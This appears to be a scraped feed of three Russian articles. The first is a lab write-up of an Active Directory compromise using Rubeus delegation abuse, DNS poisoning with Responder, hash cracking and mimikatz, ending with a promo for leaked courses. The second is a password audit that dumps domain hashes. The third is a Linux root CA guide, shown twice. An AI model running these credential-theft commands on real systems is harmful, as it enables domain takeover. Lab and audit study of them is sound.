Набираем в поиске своего пользователя и смотрим, что мы имеем, в итоге обнаружим право GenericAll для хоста WEB.



И мы даже можем получить инструкцию по дальнейшей эксплуатации.



Нам понадобятся следующие инструменты: PowerView, Powermad и Rubeus.
Первым делом нужно добавить импортировать Powermad и с помощью powerpick добавить новую учетную запись компьютера.
New-MachineAccount -MachineAccount RalfPC -Password $(ConvertTo-SecureString 'RalfRalf!23' -AsPlainText -Force)



Теперь нам нужно узнать идентификатор безопасности новой учетной записи. Дальше нам нужен модуль Powerview.
Get-DomainComputer RalfPC



Далее создадим объект учетных данных известного нам пользователя test-svc, чтобы выполнять команды от его имени.
$TestSvcPass = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force$TestSvcCred = New-Object System.Management.Automation.PSCredential('htb.local\test-svc', $TestSvcPass)

Давайте получим список избирательного управления доступом DACL нашей созданной ученой записи.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4266912945-3985045794-2943778634-14605)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)

А теперь установим полученный DACL в поле msDS-AllowedToActOnBehalfOfOtherIdentity атакуемой нами машины.
Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $TestSvcCred

В Cobalt выполним все эти команды за один раз.



Давайте проверим, что данное свойство установилось. Как можно наблюдать, SID соответствует SIDу созданной нами учетной записи.
$RawBytes = Get-DomainComputer WEB -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0$Descriptor.DiscretionaryAcl



Теперь получим хеш пароля с помощью Rubeus, который мы выполним также в памяти.
execute-assembly /home/ralf/tmp/Rubeus.exe hash /password:RalfRalf!23



Теперь нужно имперсонировать тикет для пользователя iis-svc (по логике из вывода bloodhound). Но это ни к чему не приведет. Потратив много времени на разбор, участник сообщества досказал перепробовать всех известных пользователей (и для мы не получили код ответа 401 при обращении к ресурсу).
execute-assembly /home/ralf/tmp/Rubeus.exe s4u /user:RalfPC$ /rc4:4F2B5337B6E879AAE4FB0C15C57A8E9F /impersonateuser:lee /msdsspn:http/web.htb.local /ptt



Проверим локальное хранилище билетов и обнаружим там только что импортированный.



Проверим доступ к веб сервису.
$(Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local).StatusCode



Успешно! Далее я решил сохранить html файл, скачать его на локальную машину и посмотреть.
powerpick Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials -Uri "http://web.htb.local" -OutFile "C:\tmp\1.html"download 1.html



Добавим эти учетные данные в хранилище данных.



Давайте попробуем расширяться в сети, так как на машине открыт WinRM, то будем использовать именно его. Переходим в список целей, выбираем нужный нам хост и через контекстное меню -> Jump -> winrm64 открываем дополнительное окошко. Выбираем из списка remote_user и создаем новый SMB Listener.



И после подключения видим новую захваченную машину, правда без прав админа.





И как знак пройденного этапа, забираем еще один флаг.



Celestial flag


Проведя некоторую разведку на хосте остановимся на списке установленного программного обеспечения. Получить его можно из реестра.
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table AutoSize



Здесь особо привлекают две первые позиции, а именно, имеем следующие два вектора атаки: поиск и работа с хранилищем KeePass или просмотр трафика. Но хранилище мы не находим, но вот нашему пользователю доступен Wireshark.





Давайте создадим дамп трафика с помощью tshark.
tshark.exe -i Ethernet0 -b filesize:10000 -w C:\Users\remote_user.HTB\Documents\snif.pcap

Никаких учетных данных не находдим, поэтому углубимся в анализ и откроем данный файл в Wireshark на локальной машине. Находим обращение по трем интересным доменам. Но записи для них отсутствуют.





Дело в том, что по умолчанию, любой аутентифицированный пользователь может добавить DNS запись. Давайте проверим DACL. Предварительно загрузим powershell скрипт PowerMad. И запросим имеющиеся зоны и разрешения для ADIDNS.







Как можно увидеть, все пользователи имеют право создать запись. Давайте это и сделаем с помощью Invoke-DNSUpdate. Укажем свой IP в качестве целевого.
Invoke-DNSupdate -DNSType A -DNSName db1 -DNSData 10.14.14.5 -Verbose



И атака выполнена успешно. Проверим это.
Nslookup db1.htb.local 192.168.3.203



Eсть нужная нам запись. Теперь активируем респондер и ловим хеш.
sudo responder -I tun0 -wrf



Давайте перебирать данный хеш.
hashcat -m 5600 hashes.txt ./tools/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 1



И у нас есть пароль администратора. Попробуем его использовать для подключения. Как и всегда, сначала дополняем хранилище учетных данных, потом создаем еще один SMB Beacon и выполняем подключение к хосту WEB через psexec64.







И наша карта атаки будет похожа на рисунок ниже, при этом мы работаем в контексте SYSTEM.





Забираем флаг администратора, как подтверждение еще одного пройденного этапа.



Dominion flag


Тут я вернулся к keepass. Найдем все, что его касается.
powerpick Get-ChildItem -Path C:\Users\ -Include @("*kee*", "*.kdb*") -force -Recurse -ErrorAction SilentlyContinue | Select-Object -Expand FullName

Мы найдем два конфига: у Администратора и пользователя.



В файле пользователя находим упоминание о базе kdbx, которая отсутствует.



Поэтому в охоте за учетными данными мы снова используем mimikatz, а именно успех приносит модуль lsadump::secrets.



Но что я не попробавл сразу, так это пароль локального администратора для других пользователей. Создав новый SMB Beacon, подключимся с помощью winrm64 как администратор к контроллеру домена.





И забираем последний флаг.



Вот и все. В качестве обратной связи, прокомментируйте узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Аудит паролей Активной Директории Windows

23.02.2021 20:21:55 | Автор: admin

Если в вашей компании активно используется домен Windows, рано или поздно перед вами встанет задача повысить безопасность используемых паролей. Штатных средств (кроме тривиальной групповой парольной политики) тут нет, нормальных продуктов тоже нет. Пароли хранятся в виде хэшей, которые ещё и достаточно сложно достать, поэтому прямой анализ безопасности не возможен. Я попытался построить процесс, который, при нужной сноровке, не займет у вас больше нескольких часов и будет прекрасно повторяем. Можно будет напрямую отслеживать, как ваши усилия увеличивают стойкость паролей в компании, а это всегда приятно.

Атаки на пароли

Все атаки на пароли можно разделить на 2 большие группы: онлайн и офлайн. Если злоумышленнику удалось получить хэши паролей он может использовать офлайн атаку перебором (брутфорс). Нужно сказать, что если злоумышленник смог получить NT хэш в корпоративной сети что-то уже пошло не так. Возможно, у вас есть проблемы по-серьезней, чем стойкость хэшей. Да и защита от брутфорса дело, в основном, разработчика: нужно выбирать правильные (медленные) алгоритмы хэширования. Поэтому брутфорс я обычно оставляю за бортом.

Из онлайн атак у нас есть password spay и password replay.

По данным Майкрософт password spraying самая распространенная атака на пароли, ответственная за ~40% успешных взломов аккаунтов М365. Злоумышленники пробуют одинаковый пароль сразу на нескольких аккаунтах (тысячах). Это обеспечивает высокую скорость подбора пароля, при этом политика временной блокировки аккаунта при многократном вводе неправильного пароля не срабатывает.

Password replay вторая по частоте атака. Злоумышленники используют базы данных слитых учётных записей, пробуя их на ваших системах. Если сотрудник использует тот же самый пароль, который был у его аккаунта LinkedIn в 2012 году двери открыты. Это, действительно, проблема нашего времени. Средний пользователь помнит 8 разных паролей, но использует более 40 аккаунтов (включая личные), следовательно пароли используются повторно, и задача корпоративной ИБ убедить пользователя выделить драгоценное место в своей памяти под уникальный пароль для корпоративного аккаунта. Самая дорогая память в ИТ это память пользователя.

Проверить свой пароль на наличие/отсутствие в утечках можно тут (но лучше не надо).

haveibeenpwned.comhaveibeenpwned.com

Требования к паролям

Собственно, теперь у нас есть основные требования к корпоративным паролям:

  • Пароль не должен быть частью какой-либо утечки

  • Пароль должен быть уникальным

К слову сказать, это действительно единственные требования, которые имеет смысл предъявлять к паролям. Если вы по-прежнему требуете периодической смены пароля или наличия спецсимволов прочитайте-ка рекомендации Майкрософт. Запоминаемость пароля ничуть не менее важна, чем спецсимволы или чехарда с его сменой.

Оба этих требования достаточно легко проверить без каких-либо серьезных затрат времени и ресурсов, и я покажу как.

Достать хэши

Хэши хранит любой контроллер домена в файле ntds.dit. Ключи шифрования, необходимые для извлечения хэшей, хранятся в ветке SYSTEM реестра контроллера домена.

Чтобы извлечь ntds.dit нужно:

  • Открыть на контроллере домена консоль PowerShell

  • Создать теневую копию с помощью команды

vssadmin.exe create shadow /for=C:
  • Зайти в папку Windows и выбрать Properties у папки NTDS

  • Скопировать теневую копию папки из вкладки Previous versions

  • (Не обязательно) удалить теневую копию

Vssadmin.exe list shadowsVssadmin.exe delete shadows /shadow=<тут идентификатор копии>

Скопировать ветку SYSTEM реестра контроллера домена:

reg SAVE HKLM\SYSTEM C:\temp\SYSTEM

Всё. Контролер домена больше не нужен. Кстати если за это время вы не получили ни одного оповещения от средств безопасности вам стоит присмотреться к нормальному EDR решению.

Все дальнейшие операции имеет смысл проводить на отдельной системе, которую можно даже отключить от сети и потом полностью очистить. Файл NTDS.DIT + SYSTEM это, по сути, ключи от вашего домена. Не стоит их хранить на рабочем компьютере.

Я уже привык работать в WSL (windows subsystem for linux, Ubuntu встроенная в консоль Windows 10). Поэтому первым шагом рекомендую установить WSL (вручную или через магазин приложений) и RSAT (включает PowerShell модуль для работы с доменом) для вашей версии windows 10.

Запускаем WSL из консоли PowerShell командой bash.

Устанавливаем Python 3 и хакерскую утилиту impacket. Она нужна для вытаскивания NTLM хэшей из ntds.dit

sudo apt install python3sudo apt install python3-pippython3 -m pip install impacket

Из пакета Impacket нам нужен файл secretsdump.py. Его можно найти внутри Python модуля или скачать с Гитхаба

wget https://github.com/SecureAuthCorp/impacket/releases/download/impacket_0_9_22/impacket-0.9.22.tar.gztar -xvzf impacket-0.9.22.tar.gzcd impacket-0.9.22/examples

извлекаем хэши

python3 secretsdump.py  -system /mnt/c/Temp/SYSTEM -ntds /mnt/c/Temp/ntds.dit LOCAL -outputfile /mnt/c/Temp/hashes.lst

Сразу проверяем наличие и содержимое файла hashes.lst.ntds.cleartext. Это пароли от тех аккаунтов, в свойствах которых стоит галка Store password using reversible encryption. Стоит проверить, что это действительно необходимость.
В файле много мусора. Убрать лишнее можно так:

cat hashes.lst.ntds | cut -d":" -f 1,4 | sort > hashes_sorted.lst

получится список вида:

domain\sam_account_name:ntlm_hash

Заглянем на секунду ещё раз в исходный файл. У каждого аккаунта указано по 2 хэша LM и NTLM. Вместо первого LM хэша вы везде должны видеть aad3b435b51404eeaad3b435b51404ee. Если там что-то другое аудит можно останавливать и переключить все силы на апгрейд домена.

Любимые пароли

Дальше лично я предпочитаю работать в Экселе. Вот тут мой шаблон файла , хотя, конечно, разобраться без подсказок в нём сложновато, и вам вероятно придётся создать свой.
Первое, что я обычно делаю ищу аккаунты с одинаковым хэшем (т.е. те аккаунты, где используется одинаковый пароль). Если один и тот же хэш встречается больше 2х раз пароль придётся сменить.
Но перед этим ещё стоит отфильтровать неактивные аккаунты. Для этого можно использовать командлет Get-ADUser (часть RSAT, я импортирую результат в свой эксель файл). Сразу можно собрать почтовые ящики - понадобится в будущем для рассылки предупреждений о сбросе пароля. В некоторых компаниях старые аккаунты не выключают, но устанавливают ExpirationDate. Так лучше не делать, но я собирают и эти данные тоже.

Get-ADUser -Filter * -Properties mail, AccountExpirationDate | Where { $_.Enabled -eq $True} | Select Name,samaccountname,mail,AccountExpirationDate | Export-csv C:\Temp\enabled_accounts.csv -NoTypeInformation

Половина работы сделана теперь вы знаете, кто устанавливает тот же самый пароль на все свои аккаунты. У вас есть список таких активных аккаунтов с почтовыми адресами.

Слабые пароли

Теперь давайте взглянем, какие из наших паролей известны плохим парням. Т.к. мы играем за защиту (в России, кстати, нас правильно называть red team) то мы не будем пробовать эти хэши подобрать (для этого нужно время и хорошее железо), а просто сравним наши хэши с базой данных утекших хэшей, любезно предоставленной Троем Хантом.

Если какой-либо из наших хэшей находится в этой базе значит он утёк, и соответствующий пароль мы будем называть слабым. Наша цель принудить пользователей использовать уникальный пароль для рабочего аккаунта.
Качаем и распаковываем базу (сегодня это ~22 Гб, но она растёт). Первое, что нужно сделать перевести все хэши в низкий регистр и избавится от счетчика (т.е. было так: 0717B19E4348445872D8BB57D5E562B7:14, станет так: 0717b19e4348445872d8bb57d5e562b7)

cat pwned-passwords-ntlm-ordered-by-hash-v7.txt | cut -d":" -f 1 | awk '{print tolower($0)}' > hash_db.lst 

Через 5-7 минут вы должны получить отсортированный файл хэшей в нужном формате.
Из дампа нужно тоже оставить одни отсортированные уникальные хэши:

cat hashes_sorted.lst | cut -d":" -f 2 | sort -u > hashes_only_sorted.lst

Теперь нам нужно сравнить два массива хэшей, один из которых занимает ~20 Гб.
На моем ноутбуке это оказалось непосильной задачей. Питон съел всю память и ничего не сделал. Тогда мне пришлось разбить hash_db на части по 3-5 Гб и дело сдвинулось с мертвой точки.
Т.е. теперь алгоритм выглядит так: разбиваем 20Гб файл на части по 3-5 Гб (кратно 33 байта, чтобы все хэши остались целыми). Сравниваем попарно каждый кусок с массивом хэшей из дампа с помощью питоновского set.intersection. На выходе будет файл с пересечением множеств хэшей из дампа и базы данных утекших паролей.
Небольшой скрипт на питоне, который делает всё вышеперечисленное, вы можете увидеть тут.
Работает он 5-20 минут на среднем компьютере. Можно, кончено, оптимизировать, но зачем?
Получившийся файл я забираю в свою эксельку и фильтрую по флагу enabled_account. Для наглядности, я беру несколько популярных в компании слитых хэшей и перегоняю их в пароли через сайты типа hashes.com или crackstation.net. Это нужно для наглядности и хорошо смотрится на слайдах, но не является целью всей затеи. Мы хорошие парни, хэшей нам уже достаточно.
Вторая половина тоже готова. Теперь начинается самое интересное...

Что будем считать?

Если мы внимательно посмотрим на получившийся файл, то увидим прекрасный КПИ для отдела ИБ процент аккаунтов со стойким паролем. Вычислить его просто:

P = 1 enabled_accounts_with_weak_password / total_enabled_accounts

Где enabled_accounts_with_weak_password активные аккаунты, пароль которых принадлежит множеству утекших или повторяющихся паролей (или обоим множествам одновременно)
Задача отдела ИБ теперь в том, чтобы этот процент неуклонно рос до, скажем, 95%.
Я так же считаю другой показатель количество пользователей, которые сменили один слабый пароль на другой слабый пароль после предупреждения службы ИБ. Эта та аудитория, с которой нужно работать. Внутри компании мы договорились о 3х предупреждениях, и если не помогло - беседе с HR.
Прежде чем начинать аудит, нужно подготовить материалы по повышению осведомленности пользователей. Иначе смысл всей затеи пропадёт.
Подготовьте страничку с описанием того, как правильно выбрать хороший пароль. Хорошо бы развесить по офису постеры (вот пример бесплатных) и сделать тематическую корпоративную рассылку. Важный этап запланировать встречи с ИТ техподдержкой и убедить в важности выбора хороших паролей, в первую очередь, их. Обычно самый повторяющийся в компании пароль как раз тот, который ИТ присваивает новым аккаунтам по-умолчанию.
Самая тяжёлая часть это сервис-аккаунты. Многие из них могут быть созданы подрядчиками, и пароль India12345 с чекбоксом never expired тут обыденность. Менять такие пароли нужно аккуратно, ибо чёрт знает в каком продакшн скрипте их закодили.
Если вам удастся правильно построить работу службы ИБ, то на плечи красной команды ляжет только мониторинг. Самая тяжелая часть уйдет в ИТ.
Вот, пожалуй, и всё. Пишите комментарии и задавайте вопросы!

Подробнее..

Корневой сертификат удостоверяющего центра Active Decretory на станции Linux

27.03.2021 06:11:17 | Автор: admin

Задача - Корневой сертификат удостоверяющего центра AD-CA на Linux

Условие1. поднять PKI-AD, при этом корневой центр сертификации должен быть установлен на отдельной станции ROOT-CA.
Условие2. так как станция ROOT-CA используется крайне ограниченные время и только на выпуск CRT и CRL, то на 99% станция находится отключенном состоянии, бюджет на данную станцию равен нулю.

Размышления

Размышления крайне просты: для экономии бюджета PKI-AD будет установлена непосредственно на сервер Active Decretory, а вот ROOT-CA требуется поднять на Linux.

Далее по тексту:

  • ROOT-CA станция либо сертификат корневого центра.

  • PKI AD-CA станция с ролью Службы сертификатов Active Decretory

Решение

Подготовка ROOT-CA. (CentOS7)

Корневой сертификат ROOT-CA, будем выпускать на CentOS, там-же будем подписывать сертификат для PKI AD-CA.

Для решения данной задачи на машине с Linux необходимо установить пакет easy-rsa, который содержится в репетиторе epel-release

yum install epel-releas

yum install easy-rsa

Более подробно с документацией к easy-rsa можно ознакомится на GitHub/OpenVPN

После того как мы установили easy-rsa мы можем создать главный удостоверяющий центр сертификации.

(Все операции буду выполнять из под пользователя root)

Создадим в директории пользователя, каталог - в котором будем хранить наш PKI

mkdir -p ~/ROOTca

Далее нужно скопировать последнюю версию easy-rsa в наш каталог ROOTca,

dir /usr/share/easy-rsa/

В моём случаи последняя версия 3.0.8. Её и будем копировать.

Копируем easy-rsa в каталог ROOTca

cp -R /usr/share/easy-rsa/3.0.8/* ~/ROOTca

теперь нам необходимо создать файл ответов vars, и отредактировать его

создаем и сразу редактируем

cat > ~/ROOTca/vars

пример файла vars с описанием

собираем файл vars, у меня получилось так:

# A little housekeeping: DON'T EDIT THIS SECTION  (ну нет так нет)# Easy-RSA 3.x doesn't source into the environment directly.if [ -z "$EASYRSA_CALLER" ]; thenecho "You appear to be sourcing an Easy-RSA 'vars' file." >&2echo "This is no longer necessary and is disallowed. See the section called" >&2echo "'How to use this file' near the top comments for more details." >&2return 1fi# пути set_var EASYRSA "$PWD"set_var EASYRSA_PKI "$EASYRSA/pki"set_var EASYRSA_OPENSSL"openssl"set_var EASYRSA_DN  "org"set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp"set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types"set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf"set_var EASYRSA_BATCH ""# Заполняем данные организацииset_var EASYRSA_REQ_COUNTRY "RU"set_var EASYRSA_REQ_PROVINCE "Russia"set_var EASYRSA_REQ_CITY "Moscow"set_var EASYRSA_REQ_ORG "CompanyName"set_var EASYRSA_REQ_EMAIL "ca@companyname.ru"set_var EASYRSA_REQ_OU "CompanyName.ru" set_var EASYRSA_NS_SUPPORT "yes"set_var EASYRSA_NS_COMMENT "CompanyName Certificate 2021"# размер ключа сертификата и алгоритмset_var EASYRSA_KEY_SIZE 4096set_var EASYRSA_ALGO rsa# срок действия корневого сертификата в днях  (20 лет) set_var EASYRSA_CA_EXPIRE 7300# Срок действия выпускаемых сертификатовset_var EASYRSA_CERT_EXPIRE 365# Время действия списка отзыва ~ кварталset_var EASYRSA_CRL_DAYS 92# выпускаемый сертификатset_var EASYRSA_DIGEST "sha256"

Теперь все готово, можно начинать!

Внимание! Вовремя всех действий, вы должны находится в директории ROOTca

cd ~/ROOTca

Инициализируем наш центр сертификации

./easyrsa init-pki

Отлично, мы готовы выпустить наш ROOT-CA

Выпускаем

./easyrsa build-ca

Система попросит придумать пароль для секретного ключа нашего ROOT-CA

(для наших задач, пароль должен быть не менее 4 символов)

Проверяем параметры выпускаемого сертификата, они берутся из vars, соглашаемся либо меняем на нужные.

!!! В какой-то момент система спросит название Common Name. Это название будет основным названиям нашего сертификата

Common Name (eg: your user, host, or server name) [Easy-RSA CA]: Указываем CompanyName Certificate 2021.

По окончанию мы получим корневой сертификат ROOT-ca нашего PKI

Он располагается пути /root/ROOTca/pki/ca.crt

Копируем корневой сертификат на станцию c PKI AD-CA

Сервер с PKI AD-CA (Windows Server)

Проверяем полученный файл на станции PKI AD-CA

Открываем ca.crt и проверяем содержимое

ca.crtca.crt

Все отлично! Переименуем ca.crt в ROOT-ca.crt, так как-то удобнее. Теперь нужно подготовить службу Центра сертификации Windows.

Устанавливаем роль Службы сертификатов Active Decretory

в моем случае, я устанавливаю Службы сертификатов Active Decretory на отдельный ПК, все действия для PKI AD-CA идентичныв моем случае, я устанавливаю Службы сертификатов Active Decretory на отдельный ПК, все действия для PKI AD-CA идентичны

После установки переходим к настройке - Службы сертификатов Active Decretory

Более детально с настройкой и установкой можно ознакомится на docs.microsoft.com

в момент настройки выбираем следующие опции:

  • ЦС - предприятия

  • Наш сервер будет- подчиненным ЦС

  • Нам нужно создать новый закрытый ключ

  • Шифрование - выбираем по вкусу

  • Указываем имя CA

  • Запрос сертификата - указываем через REQ файл

    По окончанию настройки мы получаем следующее сообщение:

Хорошо, теперь у нас есть файл pki-ca_PKI-CA-CA.req

Копируем полученный файл на машину с Linux ROOT-ca в директорию /root/ROOTca/pki/

Все готово к выпуску сертификата для PKI AD-CA

Перед тем как выпустить сертификат нужно импортировать req файл в PKI

импортируем

./easyrsa import-req /root/ROOTca/pki/pki-ca_PKI-CA-CA.req CompanyName-AD

Где CompanyName-AD название центра PKI AD-CA

Проверяем что получилось

./easyrsa show-req CompanyName-AD

Пора выпустить сертификат для CompanyName-AD

./easyrsa sign-req ca CompanyName-AD

Так как мы выпускаем сертификат для Центра сертификации указываем именно ca, если нужно выпустить на отдельный сервер указываем server.

мы получили наш сертификат для PKI AD-CA по пути /root/ROOTca/pki/issued/CompanyName-AD.crt

Копируем его на станцию с PKI AD-CA

Также нам нужны списки отзыва CRL, с генерируем и их

Получили /root/ROOTca/pki/crl.pem

(Напоминаю что действия наших списков 92 дня см файл vars,в течении 92 дней нужно повторить операцию передачи CRL)

Копируем crl.pem также на станцию с AD-PKI

Сервер с PKI AD-CA (Windows Server)

Сейчас у нас есть все, что нам нужно.

А именно:

  • Корневой сертификат: ROOT-ca.crt

  • Сертификат CA для нашего сервера: CompanyName-AD.crt

  • Списки отзыва: crl.pem

Импорт ROOT-ca

Нам нужно сделать ROOT-ca.crt стал валидным сертификатом в системе Windows, напоминаю, что сейчас он с крестом и нас, конечно, такой вариант не устраивает.

Запускам MMC-консоль и подключаем оснастку Сертификаты для учетной записи компьютера.

Переходим по пути: Сертификаты\Доверительные корневые центры\Сертификаты

Добавим наш сертификат ROOT-ca.crt в "Доверительные корневые центры"

Для этого правой кнопкой по папке сертифкаты -> импорт

Указываем путь к сертификату ROOT-ca.crt и импортируем его.

После импорта сертификат должен появиться в списке

Теперь, проверяем сам файл ROOT-ca.crt

Так-то куда лучше!

(Данный сертификат нужно также распространить через групповые политики, на все ПК в AD)

Импорт CRL.

Нам также нужно импортировать списки отзыва, для этого необходимо переименовать файл crl.pem в ROOTca.crl

(теперь можно изучить файл ROOTca.crl)

Импортируем его точно также как и сертификат в доверительные корневые центры ROOT-ca.crt

Активация PKI AD-CA

Теперь можно приступить к активации нашего CA PKI AD-CA

Запускаем средство "Центр сертификации"

Перед установкой сертификата в CA, лучше предварительно настроить публикацию CDP и AIA

Активируем CA

Правой кнопкой мыши по серверу PKI AD-CA > Все задачи > Установить сертификат ЦС

Далее, указываем файл CompanyName-AD.crt и подтверждаем.

Если мы все сделали правильно, установка сертификата в CA должна пройти без ошибок и предупреждений.

Если вы не можете импортировать CompanyName-AD.crt система просит P7B файл.

Необходимо выполнить слияние CompanyName-AD.crt с ROOT-ca.crt в OpenSSL следующей командой:

openssl crl2pkcs7 -nocrl certfile ROOT-ca.crt -certfile CompanyName-AD.crt -out CompanyName-AD.p7b

Запуск PKI AD-CA

теперь мы можем запустить службу Центра сертификации

Правой кнопкой мыши по серверу PKI AD-CA > Все задачи > Запуск службы

Итог

мы получили рабочий PKI - Active Decretory и можем начать выпуск сертификатов для пользователей, станций, серверов. При этом ROOT-ca находится на станции с Linux, и нам не пришлось отдавать под данную задачу отдельный сервер с Windows.

Подробнее..

Корневой сертификат удостоверяющего центра Active Directory на станции Linux

27.03.2021 10:18:41 | Автор: admin

Задача - Корневой сертификат удостоверяющего центра AD-CA на Linux

Условие1. поднять PKI-AD, при этом корневой центр сертификации должен быть установлен на отдельной станции ROOT-CA.
Условие2. так как станция ROOT-CA используется крайне ограниченные время и только на выпуск CRT и CRL, то на 99% станция находится отключенном состоянии, бюджет на данную станцию равен нулю.

Размышления

Размышления крайне просты: для экономии бюджета PKI-AD будет установлена непосредственно на сервер Active Directory, а вот ROOT-CA требуется поднять на Linux.

Далее по тексту:

  • ROOT-CA станция либо сертификат корневого центра.

  • PKI AD-CA станция с ролью Службы сертификатов Active Directory

Решение

Подготовка ROOT-CA. (CentOS7)

Корневой сертификат ROOT-CA, будем выпускать на CentOS, там-же будем подписывать сертификат для PKI AD-CA.

Для решения данной задачи на машине с Linux необходимо установить пакет easy-rsa, который содержится в репетиторе epel-release

yum install epel-releas

yum install easy-rsa

Более подробно с документацией к easy-rsa можно ознакомится на GitHub/OpenVPN

После того как мы установили easy-rsa мы можем создать главный удостоверяющий центр сертификации.

(Все операции буду выполнять из под пользователя root)

Создадим в директории пользователя, каталог - в котором будем хранить наш PKI

mkdir -p ~/ROOTca

Далее нужно скопировать последнюю версию easy-rsa в наш каталог ROOTca,

dir /usr/share/easy-rsa/

В моём случаи последняя версия 3.0.8. Её и будем копировать.

Копируем easy-rsa в каталог ROOTca

cp -R /usr/share/easy-rsa/3.0.8/* ~/ROOTca

теперь нам необходимо создать файл ответов vars, и отредактировать его

создаем и сразу редактируем

cat > ~/ROOTca/vars

пример файла vars с описанием

собираем файл vars, у меня получилось так:

# A little housekeeping: DON'T EDIT THIS SECTION  (ну нет так нет)# Easy-RSA 3.x doesn't source into the environment directly.if [ -z "$EASYRSA_CALLER" ]; thenecho "You appear to be sourcing an Easy-RSA 'vars' file." >&2echo "This is no longer necessary and is disallowed. See the section called" >&2echo "'How to use this file' near the top comments for more details." >&2return 1fi# пути set_var EASYRSA "$PWD"set_var EASYRSA_PKI "$EASYRSA/pki"set_var EASYRSA_OPENSSL"openssl"set_var EASYRSA_DN  "org"set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp"set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types"set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf"set_var EASYRSA_BATCH ""# Заполняем данные организацииset_var EASYRSA_REQ_COUNTRY "RU"set_var EASYRSA_REQ_PROVINCE "Russia"set_var EASYRSA_REQ_CITY "Moscow"set_var EASYRSA_REQ_ORG "CompanyName"set_var EASYRSA_REQ_EMAIL "ca@companyname.ru"set_var EASYRSA_REQ_OU "CompanyName.ru" set_var EASYRSA_NS_SUPPORT "yes"set_var EASYRSA_NS_COMMENT "CompanyName Certificate 2021"# размер ключа сертификата и алгоритмset_var EASYRSA_KEY_SIZE 4096set_var EASYRSA_ALGO rsa# срок действия корневого сертификата в днях  (20 лет) set_var EASYRSA_CA_EXPIRE 7300# Срок действия выпускаемых сертификатовset_var EASYRSA_CERT_EXPIRE 365# Время действия списка отзыва ~ кварталset_var EASYRSA_CRL_DAYS 92# выпускаемый сертификатset_var EASYRSA_DIGEST "sha256"

Теперь все готово, можно начинать!

Внимание! Вовремя всех действий, вы должны находится в директории ROOTca

cd ~/ROOTca

Инициализируем наш центр сертификации

./easyrsa init-pki

Отлично, мы готовы выпустить наш ROOT-CA

Выпускаем

./easyrsa build-ca

Система попросит придумать пароль для секретного ключа нашего ROOT-CA

(для наших задач, пароль должен быть не менее 4 символов)

Проверяем параметры выпускаемого сертификата, они берутся из vars, соглашаемся либо меняем на нужные.

!!! В какой-то момент система спросит название Common Name. Это название будет основным названиям нашего сертификата

Common Name (eg: your user, host, or server name) [Easy-RSA CA]: Указываем CompanyName Certificate 2021.

По окончанию мы получим корневой сертификат ROOT-ca нашего PKI

Он располагается пути /root/ROOTca/pki/ca.crt

Копируем корневой сертификат на станцию c PKI AD-CA

Сервер с PKI AD-CA (Windows Server)

Проверяем полученный файл на станции PKI AD-CA

Открываем ca.crt и проверяем содержимое

ca.crtca.crt

Все отлично! Переименуем ca.crt в ROOT-ca.crt, так как-то удобнее. Теперь нужно подготовить службу Центра сертификации Windows.

Устанавливаем роль Службы сертификатов Active Directory

в моем случае, устанавливаю Службы сертификатов Active Directory на отдельный ПК, все действия для PKI AD-CA идентичныв моем случае, устанавливаю Службы сертификатов Active Directory на отдельный ПК, все действия для PKI AD-CA идентичны

После установки переходим к настройке - Службы сертификатов Active Directory

Более детально с настройкой и установкой можно ознакомится на docs.microsoft.com

в момент настройки выбираем следующие опции:

  • ЦС - предприятия

  • Наш сервер будет- подчиненным ЦС

  • Нам нужно создать новый закрытый ключ

  • Шифрование - выбираем по вкусу

  • Указываем имя CA

  • Запрос сертификата - указываем через REQ файл

    По окончанию настройки мы получаем следующее сообщение:

Хорошо, теперь у нас есть файл pki-ca_PKI-CA-CA.req

Копируем полученный файл на машину с Linux ROOT-ca в директорию /root/ROOTca/pki/

Все готово к выпуску сертификата для PKI AD-CA

Перед тем как выпустить сертификат нужно импортировать req файл в PKI

импортируем

./easyrsa import-req /root/ROOTca/pki/pki-ca_PKI-CA-CA.req CompanyName-AD

Где CompanyName-AD название центра PKI AD-CA

Проверяем что получилось

./easyrsa show-req CompanyName-AD

Пора выпустить сертификат для CompanyName-AD

./easyrsa sign-req ca CompanyName-AD

Так как мы выпускаем сертификат для Центра сертификации указываем именно ca, если нужно выпустить на отдельный сервер указываем server.

мы получили наш сертификат для PKI AD-CA по пути /root/ROOTca/pki/issued/CompanyName-AD.crt

Копируем его на станцию с PKI AD-CA

Также нам нужны списки отзыва CRL, с генерируем и их

Получили /root/ROOTca/pki/crl.pem

(Напоминаю что действия наших списков 92 дня см файл vars,в течении 92 дней нужно повторить операцию передачи CRL)

Копируем crl.pem также на станцию с AD-PKI

Сервер с PKI AD-CA (Windows Server)

Сейчас у нас есть все, что нам нужно.

А именно:

  • Корневой сертификат: ROOT-ca.crt

  • Сертификат CA для нашего сервера: CompanyName-AD.crt

  • Списки отзыва: crl.pem

Импорт ROOT-ca

